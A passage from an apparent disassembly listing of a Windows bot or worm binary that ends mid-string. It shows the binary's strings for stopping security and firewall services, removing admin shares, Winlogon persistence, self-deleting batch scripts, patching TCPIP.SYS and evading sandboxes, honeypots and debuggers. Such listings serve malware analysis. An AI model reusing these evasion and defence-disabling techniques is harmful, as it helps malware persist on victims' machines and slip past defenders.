.text:00447290o unicode 0, <S$>,0 align 10h aR_2: ; DATA XREF: .text:0044728Co unicode 0, <R:\>,0 aR_1: ; DATA XREF: .text:00447288o unicode 0, <R$>,0 align 10h aQ_3: ; DATA XREF: .text:00447284o unicode 0, <Q:\>,0 aQ_2: ; DATA XREF: .text:00447280o unicode 0, <Q$>,0 align 10h aP_6: ; DATA XREF: .text:0044727Co unicode 0, <P:\>,0 aP_5: ; DATA XREF: .text:00447278o unicode 0, <P$>,0 align 10h aO_3: ; DATA XREF: .text:00447274o unicode 0, <O:\>,0 aO_2: ; DATA XREF: .text:00447270o unicode 0, <O$>,0 align 10h aN_3: ; DATA XREF: .text:0044726Co unicode 0, <N:\>,0 aN_2: ; DATA XREF: .text:00447268o unicode 0, <N$>,0 align 10h aM_6: ; DATA XREF: .text:00447264o unicode 0, <M:\>,0 aM_5: ; DATA XREF: .text:00447260o unicode 0, <M$>,0 align 10h asc_4474D0: ; DATA XREF: .text:0044725Co unicode 0, <L:\>,0 asc_4474D8: ; DATA XREF: .text:00447258o unicode 0, <L$>,0 align 10h aK_3: ; DATA XREF: .text:00447254o unicode 0, <K:\>,0 aK_2: ; DATA XREF: .text:00447250o unicode 0, <K$>,0 align 10h aJ_2: ; DATA XREF: .text:00447244o ; .text:0044724Co unicode 0, <J:\>,0 aJ_1: ; DATA XREF: .text:00447240o ; .text:00447248o unicode 0, <J$>,0 align 10h aI_4: ; DATA XREF: .text:0044723Co unicode 0, <I:\>,0 aI_3: ; DATA XREF: .text:00447238o unicode 0, <I$>,0 align 10h asc_447510: ; DATA XREF: .text:00447234o unicode 0, <H:\>,0 asc_447518: ; DATA XREF: .text:00447230o unicode 0, <H$>,0 align 10h aG_2: ; DATA XREF: .text:0044722Co unicode 0, <G:\>,0 aG_1: ; DATA XREF: .text:00447228o unicode 0, <G$>,0 align 10h aF_2: ; DATA XREF: .text:00447224o unicode 0, <F:\>,0 aF_1: ; DATA XREF: .text:00447220o unicode 0, <F$>,0 align 10h aE_3: ; DATA XREF: .text:0044721Co unicode 0, <E:\>,0 aE_2: ; DATA XREF: .text:00447218o unicode 0, <E$>,0 align 10h aD_2: ; DATA XREF: .text:00447214o unicode 0, <D:\>,0 aD_1: ; DATA XREF: .text:00447210o unicode 0, <D$>,0 align 10h aC_3: ; DATA XREF: .text:0044720Co unicode 0, <C:\>,0 aC_2: ; DATA XREF: .text:00447208o unicode 0, <C$>,0 align 10h off_447570 dd offset dword_520050 ; DATA XREF: .text:00447200o ; .text:004472D0o dd offset byte_4E0049 aT_3: unicode 0, <T$>,0 align 10h off_447580 dd offset aTasklist_exe+5 ; DATA XREF: .text:004471F8o ; .text:004472D8o dd offset byte_49004D aN_4: unicode 0, <N$>,0 align 10h off_447590 dd offset byte_500049 ; DATA XREF: .text:off_4471F0o ; .text:004472E0o ... aC_4: unicode 0, <C$>,0 align 4 aSecurityCenter db 'Security Center',0 ; DATA XREF: .text:004428CCo aWindowsFirewal db 'Windows Firewall/ICS',0 ; DATA XREF: .text:004428C8o align 4 aRemoteRegistry db 'Remote Registry',0 ; DATA XREF: .text:004428C0o aTelnet db 'Telnet',0 ; DATA XREF: .text:off_4428BCo align 4 aWscsvc db 'wscsvc',0 ; DATA XREF: .text:004428B8o align 4 aSharedaccess db 'SharedAccess',0 ; DATA XREF: .text:004428B4o align 4 aMessenger db 'Messenger',0 ; DATA XREF: .text:004428B0o ; .text:004428C4o align 10h aRemoteregistry db 'RemoteRegistry',0 ; DATA XREF: .text:004428ACo align 10h aTlntsvr db 'Tlntsvr',0 ; DATA XREF: .text:off_4428A8o aSRegistryS_2d_ db '%s Registry %s, (%.2d/%.2d)',0 ; DATA XREF: sub_41AA69+2AEo aSFailedToSRegi db '%s Failed to %s Registry, (%.2d/%.2d)',0 ; DATA XREF: sub_41AA69+275o align 4 aSecured db 'Secured',0 ; DATA XREF: sub_41AA69+25Eo aSFailedToSet_0 db '%s Failed to set "%s\%s\%s" to "%s".',0 ; DATA XREF: sub_41AA69+21Do align 4 aSSetSSSToS_ db '%s Set "%s\%s\%s" to "%s".',0 ; DATA XREF: sub_41AA69+1C4o align 4 aSFailedToSetSS db '%s Failed to set "%s\%s\%s" to "%d".',0 ; DATA XREF: sub_41AA69+11Fo align 10h aSSetSSSToD_ db '%s Set "%s\%s\%s" to "%d".',0 ; DATA XREF: sub_41AA69+B5o align 4 aSTotalShares_0 db '%s Total shares [%s: %d]',0 ; DATA XREF: sub_41AD33+365o align 4 aTotalSharesS_0 db ' Total shares [%s: %d]',0 ; DATA XREF: sub_41AD33+343o align 10h aSNoSharesS_ db '%s No shares %s.',0 ; DATA XREF: sub_41AD33:loc_41B05Do align 4 aUnloading db 'Unloading',0 ; DATA XREF: sub_41AD33+289o align 10h aCreated db 'created',0 ; DATA XREF: sub_41AD33+23Eo aSTotalSharesSD db '%s Total shares %s: [%d]',0 ; DATA XREF: sub_41AD33+231o align 4 aTotalSharesSD db ' Total shares: [%s: %d]',0 ; DATA XREF: sub_41AD33+1CFo off_44777C dd offset dword_532520 ; DATA XREF: sub_41AD33+C9o ; sub_41AD33+157o ... dword_447780 dd 53207325h, 65726168h, 73252073h, 3Ah ; sub_41AD33+256o aErased db 'erased',0 ; DATA XREF: sub_41AD33+34o ; sub_41AD33:loc_41AEEBo ... align 4 aSTotalServices db '%s Total services stopped: %d',0 ; DATA XREF: sub_41B0B0+15Eo align 4 aSNoServicesSto db '%s No services stopped.',0 ; DATA XREF: sub_41B0B0+136o aSTheSServiceWa db '%s The %s service was not started.',0 ; DATA XREF: sub_41B0B0+F0o align 4 aSSServiceStopp db '%s %s service stopped.',0 ; DATA XREF: sub_41B0B0+B2o align 4 aSTheSServiceDo db '%s The %s service does not exist.',0 ; DATA XREF: sub_41B0B0+75o align 10h aSystemShutting db 'System shutting down.',0 ; DATA XREF: sub_41B226+10Bo align 4 aS_3 db '"%s"',0 ; DATA XREF: sub_41B424+14o align 10h aSDoneOk_ db '%s Done Ok.',0 ; DATA XREF: sub_41B824+64o aSDone_ db '%s Done.',0 ; DATA XREF: sub_41BB8F+300o align 4 dword_447868 dd 243F6A88h dd 85A308D3h, 13198A2Eh, 3707344h, 0A4093822h, 299F31D0h dd 82EFA98h, 0EC4E6C89h, 452821E6h, 38D01377h, 0BE5466CFh dd 34E90C6Ch, 0C0AC29B7h, 0C97C50DDh, 3F84D5B5h, 0B5470917h dd 9216D5D9h, 8979FB1Bh dword_4478B0 dd 0D1310BA6h dd 98DFB5ACh, 2FFD72DBh, 0D01ADFB7h, 0B8E1AFEDh, 6A267E96h dd 0BA7C9045h, 0F12C7F99h, 24A19947h, 0B3916CF7h, 801F2E2h dd 858EFC16h, 636920D8h, 71574E69h, 0A458FEA3h, 0F4933D7Eh dd 0D95748Fh, 728EB658h, 718BCD58h, 82154AEEh, 7B54A41Dh dd 0C25A59B5h, 9C30D539h, 2AF26013h, 0C5D1B023h, 286085F0h dd 0CA417918h, 0B8DB38EFh, 8E79DCB0h, 603A180Eh, 6C9E0E8Bh dd 0B01E8A3Eh, 0D71577C1h, 0BD314B27h, 78AF2FDAh, 55605C60h dd 0E65525F3h, 0AA55AB94h, 57489862h, 63E81440h, 55CA396Ah dd 2AAB10B6h, 0B4CC5C34h, 1141E8CEh, 0A15486AFh, 7C72E993h dd 0B3EE1411h, 636FBC2Ah, 2BA9C55Dh, 741831F6h, 0CE5C3E16h dd 9B87931Eh, 0AFD6BA33h, 6C24CF5Ch, 7A325381h, 28958677h dd 3B8F4898h, 6B4BB9AFh, 0C4BFE81Bh, 66282193h, 61D809CCh dd 0FB21A991h, 487CAC60h, 5DEC8032h, 0EF845D5Dh, 0E98575B1h dd 0DC262302h, 0EB651B88h, 23893E81h, 0D396ACC5h, 0F6D6FF3h dd 83F44239h, 2E0B4482h, 0A4842004h, 69C8F04Ah, 9E1F9B5Eh dd 21C66842h, 0F6E96C9Ah, 670C9C61h, 0ABD388F0h, 6A51A0D2h dd 0D8542F68h, 960FA728h, 0AB5133A3h, 6EEF0B6Ch, 137A3BE4h dd 0BA3BF050h, 7EFB2A98h, 0A1F1651Dh, 39AF0176h, 66CA593Eh dd 82430E88h, 8CEE8619h, 456F9FB4h, 7D84A5C3h, 3B8B5EBEh dd 0E06F75D8h, 85C12073h, 401A449Fh, 56C16AA6h, 4ED3AA62h dd 363F7706h, 1BFEDF72h, 429B023Dh, 37D0D724h, 0D00A1248h dd 0DB0FEAD3h, 49F1C09Bh, 75372C9h, 80991B7Bh, 25D479D8h dd 0F6E8DEF7h, 0E3FE501Ah, 0B6794C3Bh, 976CE0BDh, 4C006BAh dd 0C1A94FB6h, 409F60C4h, 5E5C9EC2h, 196A2463h, 68FB6FAFh dd 3E6C53B5h, 1339B2EBh, 3B52EC6Fh, 6DFC511Fh, 9B30952Ch dd 0CC814544h, 0AF5EBD09h, 0BEE3D004h, 0DE334AFDh, 660F2807h dd 192E4BB3h, 0C0CBA857h, 45C8740Fh, 0D20B5F39h, 0B9D3FBDBh dd 5579C0BDh, 1A60320Ah, 0D6A100C6h, 402C7279h, 679F25FEh dd 0FB1FA3CCh, 8EA5E9F8h, 0DB3222F8h, 3C7516DFh, 0FD616B15h dd 2F501EC8h, 0AD0552ABh, 323DB5FAh, 0FD238760h, 53317B48h dd 3E00DF82h, 9E5C57BBh, 0CA6F8CA0h, 1A87562Eh, 0DF1769DBh dd 0D542A8F6h, 287EFFC3h, 0AC6732C6h, 8C4F5573h, 695B27B0h dd 0BBCA58C8h, 0E1FFA35Dh, 0B8F011A0h, 10FA3D98h, 0FD2183B8h dd 4AFCB56Ch, 2DD1D35Bh, 9A53E479h, 0B6F84565h, 0D28E49BCh dd 4BFB9790h, 0E1DDF2DAh, 0A4CB7E33h, 62FB1341h, 0CEE4C6E8h dd 0EF20CADAh, 36774C01h, 0D07E9EFEh, 2BF11FB4h, 95DBDA4Dh dd 0AE909198h, 0EAAD8E71h, 6B93D5A0h, 0D08ED1D0h, 0AFC725E0h dd 8E3C5B2Fh, 8E7594B7h, 8FF6E2FBh, 0F2122B64h, 8888B812h dd 900DF01Ch, 4FAD5EA0h, 688FC31Ch, 0D1CFF191h, 0B3A8C1ADh dd 2F2F2218h, 0BE0E1777h, 0EA752DFEh, 8B021FA1h, 0E5A0CC0Fh dd 0B56F74E8h, 18ACF3D6h, 0CE89E299h, 0B4A84FE0h, 0FD13E0B7h dd 7CC43B81h, 0D2ADA8D9h, 165FA266h, 80957705h, 93CC7314h dd 211A1477h, 0E6AD2065h, 77B5FA86h, 0C75442F5h, 0FB9D35CFh dd 0EBCDAF0Ch, 7B3E89A0h, 0D6411BD3h, 0AE1E7E49h, 250E2Dh dd 2071B35Eh, 226800BBh, 57B8E0AFh, 2464369Bh, 0F009B91Eh dd 5563911Dh, 59DFA6AAh, 78C14389h, 0D95A537Fh, 207D5BA2h dd 2E5B9C5h, 83260376h, 6295CFA9h, 11C81968h, 4E734A41h dd 0B3472DCAh, 7B14A94Ah, 1B510052h, 9A532915h, 0D60F573Fh dd 0BC9BC6E4h, 2B60A476h, 81E67400h, 8BA6FB5h, 571BE91Fh dd 0F296EC6Bh, 2A0DD915h, 0B6636521h, 0E7B9F9B6h, 0FF34052Eh dd 0C5855664h, 53B02D5Dh, 0A99F8FA1h, 8BA4799h, 6E85076Ah dd 4B7A70E9h, 0B5B32944h, 0DB75092Eh, 0C4192623h, 0AD6EA6B0h dd 49A7DF7Dh, 9CEE60B8h, 8FEDB266h, 0ECAA8C71h, 699A17FFh dd 5664526Ch, 0C2B19EE1h, 193602A5h, 75094C29h, 0A0591340h dd 0E4183A3Eh, 3F54989Ah, 5B429D65h, 6B8FE4D6h, 99F73FD6h dd 0A1D29C07h, 0EFE830F5h, 4D2D38E6h, 0F0255DC1h, 4CDD2086h dd 8470EB26h, 6382E9C6h, 21ECC5Eh, 9686B3Fh, 3EBAEFC9h dd 3C971814h, 6B6A70A1h, 687F3584h, 52A0E286h, 0B79C5305h dd 0AA500737h, 3E07841Ch, 7FDEAE5Ch, 8E7D44ECh, 5716F2B8h dd 0B03ADA37h, 0F0500C0Dh, 0F01C1F04h, 200B3FFh, 0AE0CF51Ah dd 3CB574B2h, 25837A58h, 0DC0921BDh, 0D19113F9h, 7CA92FF6h dd 94324773h, 22F54701h, 3AE5E581h, 37C2DADCh, 0C8B57634h dd 9AF3DDA7h, 0A9446146h, 0FD0030Eh, 0ECC8C73Eh, 0A4751E41h dd 0E238CD99h, 3BEA0E2Fh, 3280BBA1h, 183EB331h, 4E548B38h dd 4F6DB908h, 6F420D03h, 0F60A04BFh, 2CB81290h, 24977C79h dd 5679B072h, 0BCAF89AFh, 0DE9A771Fh, 0D9930810h, 0B38BAE12h dd 0DCCF3F2Eh, 5512721Fh, 2E6B7124h, 501ADDE6h, 9F84CD87h dd 7A584718h, 7408DA17h, 0BC9F9ABCh, 0E94B7D8Ch, 0EC7AEC3Ah dd 0DB851DFAh, 63094366h, 0C464C3D2h, 0EF1C1847h, 3215D908h dd 0DD433B37h, 24C2BA16h, 12A14D43h, 2A65C451h, 50940002h dd 133AE4DDh, 71DFF89Eh, 10314E55h, 81AC77D6h, 5F11199Bh dd 43556F1h, 0D7A3C76Bh, 3C11183Bh, 5924A509h, 0F28FE6EDh dd 97F1FBFAh, 9EBABF2Ch, 1E153C6Eh, 86E34570h, 0EAE96FB1h dd 860E5E0Ah, 5A3E2AB3h, 771FE71Ch, 4E3D06FAh, 2965DCB9h dd 99E71D0Fh, 803E89D6h, 5266C825h, 2E4CC978h, 9C10B36Ah dd 0C6150EBAh, 94E2EA78h, 0A5FC3C53h, 1E0A2DF4h, 0F2F74EA7h dd 361D2B3Dh, 1939260Fh, 19C27960h, 5223A708h, 0F71312B6h dd 0EBADFE6Eh, 0EAC31F66h, 0E3BC4595h, 0A67BC883h, 0B17F37D1h dd 18CFF28h, 0C332DDEFh, 0BE6C5AA5h, 65582185h, 68AB9802h dd 0EECEA50Fh, 0DB2F953Bh, 2AEF7DADh, 5B6E2F84h, 1521B628h dd 29076170h, 0ECDD4775h, 619F1510h, 13CCA830h, 0EB61BD96h dd 334FE1Eh, 0AA0363CFh, 0B5735C90h, 4C70A239h, 0D59E9E0Bh dd 0CBAADE14h, 0EECC86BCh, 60622CA7h, 9CAB5CABh, 0B2F3846Eh dd 648B1EAFh, 19BDF0CAh, 0A02369B9h, 655ABB50h, 40685A32h dd 3C2AB4B3h, 319EE9D5h, 0C021B8F7h, 9B540B19h, 875FA099h dd 95F7997Eh, 623D7DA8h, 0F837889Ah, 97E32D77h, 11ED935Fh dd 16681281h, 0E358829h, 0C7E61FD6h, 96DEDFA1h, 7858BA99h dd 57F584A5h, 1B227263h, 9B83C3FFh, 1AC24696h, 0CDB30AEBh dd 532E3054h, 8FD948E4h, 6DBC3128h, 58EBF2EFh, 34C6FFEAh dd 0FE28ED61h, 0EE7C3C73h, 5D4A14D9h, 0E864B7E3h, 42105D14h dd 203E13E0h, 45EEE2B6h, 0A3AAABEAh, 0DB6C4F15h, 0FACB4FD0h dd 0C742F442h, 0EF6ABBB5h, 654F3B1Dh, 41CD2105h, 0D81E799Eh dd 86854DC7h, 0E44B476Ah, 3D816250h, 0CF62A1F2h, 5B8D2646h dd 0FC8883A0h, 0C1C7B6A3h, 7F1524C3h, 69CB7492h, 47848A0Bh dd 5692B285h, 95BBF00h, 0AD19489Dh, 1462B174h, 23820E00h dd 58428D2Ah, 0C55F5EAh, 1DADF43Eh, 233F7061h, 3372F092h dd 8D937E41h, 0D65FECF1h, 6C223BDBh, 7CDE3759h, 0CBEE7460h dd 4085F2A7h, 0CE77326Eh, 0A6078084h, 19F8509Eh, 0E8EFD855h dd 61D99735h, 0A969A7AAh, 0C50C06C2h, 5A04ABFCh, 800BCADCh dd 9E447A2Eh, 0C3453484h, 0FDD56705h, 0E1E9EC9h, 0DB73DBD3h dd 105588CDh, 675FDA79h, 0E3674340h, 0C5C43465h, 713E38D8h dd 3D28F89Eh, 0F16DFF20h, 153E21E7h, 8FB03D4Ah, 0E6E39F2Bh dd 0DB83ADF7h, 0E93D5A68h dd 948140F7h, 0F64C261Ch, 94692934h, 411520F7h, 7602D4F7h dd 0BCF46B2Eh, 0D4A20068h, 0D4082471h, 3320F46Ah, 43B7D4B7h dd 500061AFh, 1E39F62Eh, 97244546h, 14214F74h, 0BF8B8840h dd 4D95FC1Dh, 96B591AFh, 70F4DDD3h, 66A02F45h, 0BFBC09ECh dd 3BD9785h, 7FAC6DD0h, 31CB8504h, 96EB27B3h, 55FD3941h dd 0DA2547E6h, 0ABCA0A9Ah, 28507825h, 530429F4h, 0A2C86DAh dd 0E9B66DFBh, 68DC1462h, 0D7486900h, 680EC0A4h, 27A18DEEh dd 4F3FFEA2h, 0E887AD8Ch, 0B58CE006h, 7AF4D6B6h, 0AACE1E7Ch dd 0D3375FECh, 0CE78A399h, 406B2A42h, 20FE9E35h, 0D9F385B9h dd 0EE39D7ABh, 3B124E8Bh, 1DC9FAF7h, 4B6D1856h, 26A36631h dd 0EAE397B2h, 3A6EFA74h, 0DD5B4332h, 6841E7F7h, 0CA7820FBh dd 0FB0AF54Eh, 0D8FEB397h, 454056ACh, 0BA489527h, 55533A3Ah dd 20838D87h, 0FE6BA9B7h, 0D096954Bh, 55A867BCh, 0A1159A58h dd 0CCA92963h, 99E1DB33h, 0A62A4A56h, 3F3125F9h, 5EF47E1Ch dd 9029317Ch, 0FDF8E802h, 4272F70h, 80BB155Ch, 5282CE3h dd 95C11548h, 0E4C66D22h, 48C1133Fh, 0C70F86DCh, 7F9C9EEh dd 41041F0Fh, 404779A4h, 5D886E17h, 325F51EBh, 0D59BC0D1h dd 0F2BCC18Fh, 41113564h, 257B7834h, 602A9C60h, 0DFF8E8A3h dd 1F636C1Bh, 0E12B4C2h, 2E1329Eh, 0AF664FD1h, 0CAD18115h dd 6B2395E0h, 333E92E1h, 3B240B62h, 0EEBEB922h, 85B2A20Eh dd 0E6BA0D99h, 0DE720C8Ch, 2DA2F728h, 0D0127845h, 95B794FDh dd 647D0862h, 0E7CCF5F0h, 5449A36Fh, 877D48FAh, 0C39DFD27h dd 0F33E8D1Eh, 0A476341h, 992EFF74h, 3A6F6EABh, 0F4F8FD37h dd 0A812DC60h, 0A1EBDDF8h, 991BE14Ch, 0DB6E6B0Dh, 0C67B5510h dd 6D672C37h, 2765D43Bh, 0DCD0E804h, 0F1290DC7h, 0CC00FFA3h dd 0B5390F92h, 690FED0Bh, 667B9FFBh, 0CEDB7D9Ch, 0A091CF0Bh dd 0D9155EA3h, 0BB132F88h, 515BAD24h, 7B9479BFh, 763BD6EBh dd 37392EB3h, 0CC115979h, 8026E297h, 0F42E312Dh, 6842ADA7h dd 0C66A2B3Bh, 12754CCCh, 782EF11Ch, 6A124237h, 0B79251E7h dd 6A1BBE6h, 4BFB6350h, 1A6B1018h, 11CAEDFAh, 3D25BDD8h dd 0E2E1C3C9h, 44421659h, 0A121386h, 0D90CEC6Eh, 0D5ABEA2Ah dd 64AF674Eh, 0DA86A85Fh, 0BEBFE988h, 64E4C3FEh, 9DBC8057h dd 0F0F7C086h, 60787BF8h, 6003604Dh, 0D1FD8346h, 0F6381FB0h dd 7745AE04h, 0D736FCCCh, 83426B33h, 0F01EAB71h, 0B0804187h dd 3C005E5Fh, 77A057BEh, 0BDE8AE24h, 55464299h, 0BF582E61h dd 4E58F48Fh, 0F2DDFDA2h, 0F474EF38h, 8789BDC2h, 5366F9C3h dd 0C8B38E74h, 0B475F255h, 46FCD9B9h, 7AEB2661h, 8B1DDF84h dd 846A0E79h, 915F95E2h, 466E598Eh, 20B45770h, 8CD55591h dd 0C902DE4Ch, 0B90BACE1h, 0BB8205D0h, 11A86248h, 7574A99Eh dd 0B77F19B6h, 0E0A9DC09h, 662D09A1h, 0C4324633h, 0E85A1F02h dd 9F0BE8Ch, 4A99A025h, 1D6EFE10h, 1AB93D1Dh, 0BA5A4DFh dd 0A186F20Fh, 2868F169h, 0DCB7DA83h, 573906FEh, 0A1E2CE9Bh dd 4FCD7F52h, 50115E01h, 0A70683FAh, 0A002B5C4h, 0DE6D027h dd 9AF88C27h, 773F8641h, 0C3604C06h, 61A806B5h, 0F0177A28h dd 0C0F586E0h, 6058AAh, 30DC7D62h, 11E69ED7h, 2338EA63h dd 53C2DD94h, 0C2C21634h, 0BBCBEE56h, 90BCB6DEh, 0EBFC7DA1h dd 0CE591D76h, 6F05E409h, 4B7C0188h, 39720A3Dh, 7C927C24h dd 86E3725Fh, 724D9DB9h, 1AC15BB4h, 0D39EB8FCh, 0ED545578h dd 8FCA5B5h, 0D83D7CD3h, 4DAD0FC4h, 1E50EF5Eh, 0B161E6F8h dd 0A28514D9h, 6C51133Ch, 6FD5C7E7h, 56E14EC4h, 362ABFCEh dd 0DDC6C837h, 0D79A3234h, 92638212h, 670EFA8Eh, 406000E0h dd 3A39CE37h, 0D3FAF5CFh, 0ABC27737h, 5AC52D1Bh, 5CB0679Eh dd 4FA33742h, 0D3822740h, 99BC9BBEh, 0D5118E9Dh, 0BF0F7315h dd 0D62D1C7Eh, 0C700C47Bh, 0B78C1B6Bh, 21A19045h, 0B26EB1BEh dd 6A366EB4h, 5748AB2Fh, 0BC946E79h, 0C6A376D2h, 6549C2C8h dd 530FF8EEh, 468DDE7Dh, 0D5730A1Dh, 4CD04DC6h, 2939BBDBh dd 0A9BA4650h, 0AC9526E8h, 0BE5EE304h, 0A1FAD5F0h, 6A2D519Ah dd 63EF8CE2h, 9A86EE22h, 0C089C2B8h, 43242EF6h, 0A51E03AAh dd 9CF2D0A4h, 83C061BAh, 9BE96A4Dh, 8FE51550h, 0BA645BD6h dd 2826A2F9h, 0A73A3AE1h, 4BA99586h, 0EF5562E9h, 0C72FEFD3h dd 0F752F7DAh, 3F046F69h, 77FA0A59h, 80E4A915h, 87B08601h dd 9B09E6ADh, 3B3EE593h, 0E990FD5Ah, 9E34D797h, 2CF0B7D9h dd 22B8B51h, 96D5AC3Ah, 17DA67Dh, 0D1CF3ED6h, 7C7D2D28h dd 1F9F25CFh, 0ADF2B89Bh, 5AD6B472h, 5A88F54Ch, 0E029AC71h dd 0E019A5E6h, 47B0ACFDh, 0ED93FA9Bh, 0E8D3C48Dh, 283B57CCh dd 0F8D56629h, 79132E28h, 785F0191h, 0ED756055h, 0F7960E44h dd 0E3D35E8Ch, 15056DD4h, 88F46DBAh, 3A16125h, 564F0BDh dd 0C3EB9E15h, 3C9057A2h, 97271AECh, 0A93A072Ah, 1B3F6D9Bh dd 1E6321F5h, 0F59C66FBh, 26DCF319h, 7533D928h, 0B155FDF5h dd 3563482h, 8ABA3CBBh, 28517711h, 0C20AD9F8h, 0ABCC5167h dd 0CCAD925Fh, 4DE81751h, 3830DC8Eh, 379D5862h, 9320F991h dd 0EA7A90C2h, 0FB3E7BCEh, 5121CE64h, 774FBE32h, 0A8B6E37Eh dd 0C3293D46h, 48DE5369h, 6413E680h, 0A2AE0810h, 0DD6DB224h dd 69852DFDh, 9072166h, 0B39A460Ah, 6445C0DDh, 586CDECFh dd 1C20C8AEh, 5BBEF7DDh, 1B588D40h, 0CCD2017Fh, 6BB4E3BBh dd 0DDA26A7Eh, 3A59FF45h, 3E350A44h, 0BCB4CDD5h, 72EACEA8h dd 0FA6484BBh, 8D6612AEh, 0BF3C6F47h, 0D29BE463h, 542F5D9Eh dd 0AEC2771Bh, 0F64E6370h, 740E0D8Dh, 0E75B1357h, 0F8721671h dd 0AF537D5Dh, 4040CB08h, 4EB4E2CCh, 34D2466Ah, 115AF84h dd 0E1B00428h, 95983A1Dh, 6B89FB4h, 0CE6EA048h, 6F3F3B82h dd 3520AB82h, 11A1D4Bh, 277227F8h, 611560B1h, 0E7933FDCh dd 0BB3A792Bh, 344525BDh, 0A08839E1h, 51CE794Bh, 2F32C9B7h dd 0A01FBAC9h, 0E01CC87Eh, 0BCC7D1F6h, 0CF0111C3h, 0A1E8AAC7h dd 1A908749h, 0D44FBD9Ah, 0D0DADECBh, 0D50ADA38h, 339C32Ah dd 0C6913667h, 8DF9317Ch, 0E0B12B4Fh, 0F79E59B7h, 43F5BB3Ah dd 0F2D519FFh, 27D9459Ch, 0BF97222Ch, 15E6FC2Ah, 0F91FC71h dd 9B941525h, 0FAE59361h, 0CEB69CEBh, 0C2A86459h, 12BAA8D1h dd 0B6C1075Eh, 0E3056A0Ch, 10D25065h, 0CB03A442h, 0E0EC6E0Eh dd 1698DB3Bh, 4C98A0BEh, 3278E964h, 9F1F9532h, 0E0D392DFh dd 0D3A0342Bh, 8971F21Eh, 1B0A7441h, 4BA3348Ch, 0C5BE7120h dd 0C37632D8h, 0DF359F8Dh, 9B992F2Eh, 0E60B6F47h, 0FE3F11Dh dd 0E54CDA54h, 1EDAD891h, 0CE6279CFh, 0CD3E7E6Fh, 1618B166h dd 0FD2C1D05h, 848FD2C5h, 0F6FB2299h, 0F523F357h, 0A6327623h dd 93A83531h, 56CCCD02h, 0ACF08162h, 5A75EBB5h, 6E163697h dd 88D273CCh, 0DE966292h, 81B949D0h, 4C50901Bh, 71C65614h dd 0E6C6C7BDh, 327A140Ah, 45E1D006h, 0C3F27B9Ah, 0C9AA53FDh dd 62A80F00h, 0BB25BFE2h, 35BDD2F6h, 71126905h, 0B2040222h dd 0B6CBCF7Ch, 0CD769C2Bh, 53113EC0h, 1640E3D3h, 38ABBD60h dd 2547ADF0h, 0BA38209Ch, 0F746CE76h, 77AFA1C5h, 20756060h dd 85CBFE4Eh, 8AE88DD8h, 7AAAF9B0h, 4CF9AA7Eh, 1948C25Ch dd 2FB8A8Ch, 1C36AE4h, 0D6EBE1F9h, 90D4F869h, 0A65CDEA0h dd 3F09252Dh, 0C208E69Fh, 0B74E6132h, 0CE77E25Bh, 578FDFE3h dd 3AC372E6h, 0 dd 0E7h dup(0) off_448C50 dd offset a_0123456789abc ; DATA XREF: sub_41E8B1:loc_41E8B3r ; "./0123456789abcdefghijklmnopqrstuvwxyzA"... align 8 dword_448C58 dd 80h, 0Eh dup(0) dd 80000000h a_0123456789abc db './0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: .text:off_448C50o align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_41C143+66o align 4 aSThreadsList db '%s Threads List:',0 ; DATA XREF: sub_41C143+39o align 4 a02x02x02x02x02 db '%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x%02x',0 ; DATA XREF: sub_41CDE4+64o align 4 aSDoneToS db '%s done to %s',0 ; DATA XREF: sub_41EA1B+1BFo align 4 aSErrorSendin_0 db '%s Error sending to %s.',0 ; DATA XREF: sub_41EA1B+C7o aSoftwareMicr_3 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0 ; DATA XREF: sub_41EF5E+25o align 4 aShell_0 db 'Shell',0 ; DATA XREF: sub_41EF5E+20o align 8 a@echoOffRepe_0 db '@echo off',0Dh,0Ah ; DATA XREF: sub_41F331:loc_41F409o db ':Repeat',0Dh,0Ah db 'del "%s">nul',0Dh,0Ah db 'if exist "%s" goto Repeat',0Dh,0Ah db 'del "%%0"',0Dh,0Ah,0 align 8 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_41F331+D1o db ':Repeat',0Dh,0Ah db 'del "%s">nul',0Dh,0Ah db 'ping 0.0.0.0>nul',0Dh,0Ah db 'if exist "%s" goto Repeat',0Dh,0Ah db 'del "%%0"',0Dh,0Ah,0 align 4 aSRemovemeIIII_ db '%s\removeMe%i%i%i%i.bat',0 ; DATA XREF: sub_41F331+73o aExplorer_exe db 'Explorer.exe',0 ; DATA XREF: sub_41F6B4+93o align 4 aImail8_001531N db '(IMail 8.00 153-1) NT-ESMTP Server X1',0 ; DATA XREF: sub_41FA42+64o align 4 aNepenthes db 'nepenthes',0 ; DATA XREF: sub_41FA42+5Do align 10h aCurrentuser db 'currentuser',0 ; DATA XREF: sub_41FA42+56o aVmware db 'vmware',0 ; DATA XREF: sub_41FA42+4Fo align 4 aHoneymule db 'HoneyMule',0 ; DATA XREF: sub_41FA42+48o align 10h aHoneyd db 'honeyd',0 ; DATA XREF: sub_41FA42+41o align 4 aHoneyc db 'honeyc',0 ; DATA XREF: sub_41FA42+3Ao align 10h aHoney db 'honey',0 ; DATA XREF: sub_41FA42+33o align 4 aSnort db 'snort',0 ; DATA XREF: sub_41FA42+2Co align 10h aSandbox db 'sandbox',0 ; DATA XREF: sub_41FA42+25o aRoo db 'roo',0 ; DATA XREF: sub_41FA42+1Eo aTu4nh09smcg1hc db 'TU-4NH09SMCG1HC',0 ; DATA XREF: sub_41FA42+15o aInsidetm db '\InsideTm\',0 ; DATA XREF: sub_41FB18+23o align 4 aShowtray db 'ShowTray',0 ; DATA XREF: sub_41FB50+101o align 4 aInstallpath db 'InstallPath',0 ; DATA XREF: sub_41FB50+ECo aSoftwareVmware db 'SOFTWARE\VMware, Inc.\VMware Tools',0 ; DATA XREF: sub_41FB50+E0o align 4 aIsdebuggerpres db 'IsDebuggerPresent',0 ; DATA XREF: sub_41FB50:loc_41FB89o align 4 aKernel32_dll db 'KERNEL32.DLL',0 ; DATA XREF: sub_41FB50+1Eo align 4 a_Ntice db '\\.\NTICE',0 ; DATA XREF: sub_41FCC3+12o align 4 a2_0: ; DATA XREF: sub_41FDB6+35o unicode 0, <2>,0 aS_book db '%s.book',0 ; DATA XREF: sub_41FE12+12o aSfc_os_dll db 'sfc_os.dll',0 ; DATA XREF: sub_41FE4C+24o align 4 aSTcpip_sysFixe db '%s TCPIP.SYS fixed, version %d.',0 ; DATA XREF: sub_41FE93+551o aSCannotOpenTcp db '%s 